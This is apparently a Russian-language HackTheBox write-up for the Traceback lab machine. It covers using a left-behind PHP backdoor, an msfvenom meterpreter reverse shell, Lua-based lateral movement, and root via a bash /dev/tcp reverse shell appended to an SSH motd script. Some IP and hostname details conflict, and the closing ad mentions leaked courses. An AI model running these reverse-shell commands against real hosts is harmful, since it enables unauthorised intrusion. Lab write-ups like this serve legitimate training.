HackTheBox. Прохождение Traceback. Бэкдор, LUA, SSH +5



Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.

В данной статье эксплуатируем чей-то бэкдор, получаем шелл через Luvit и возимся с SSH для LPE.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon


Данная машина имеет IP адрес 10.10.10.174, который я добавляю в /etc/hosts.

10.10.10.181 	fatty.htb

Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.181       --rate=500



Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.

nmap -A traceback.htb -p22,80



На хосте работают служба SSH и веб сервер. Зайдя на веб сервер ничего не обнаружим, кроме послания.



Но находим что-то интересное в исходном коде.



Но погуглив данную строку, выходим на эту страницу github.





Entry Point


Перебирая данные файлы, определяем, что на сервер загружен файл smevk.php.



В исходном коде на гитхабе находим учетные данные по умолчанию и авторизуемся.





Давайте сгенерируем PHP шелл и запустим листенер.

msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.15.60 LPORT=4321 -f raw > r.php
cat r.php | xclip -selection clipboard && echo '<?php ' | tr -d '\n' > r.php && xclip -selection clipboard -o >> r.php



Теперь загрузим шелл и обратимся к нему. Получаем сессию meterpreter.





USER

В домашней директории пользователя находим файлы и записку к ним.



А также от имени пользователя sysadmin можно запустить lua скрипт.



Давайте запустим шелл.



Для удобства кинем SSH ключ. Для этого сгенерируем пару открытый/закрытый и запишем открытый в authorized_keys.



А теперь подключимся с помощью закрытого и заберем флаг.



ROOT

Запустим скрипт базового перечисления LinPEAS. И в отчете найдем интересные файлы для записи.





Таким образом, файл /etc/update-motd.d/00-header выполняется каждый раз, когда происходит подключение по SSH. Давайте проверим с помощью pspy. Запустим данную утилиту и подключимся по SSH.



Давайте допишем реверс шелл в данный файл.

echo “bash -i >& /dev/tcp/10.10.15.60/5432 0>&1” >> /etc/update-motd.d/00-header

Теперь сразу подключимся и увидим обратное подключение на наш хост.



Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.




К сожалению, не доступен сервер mySQL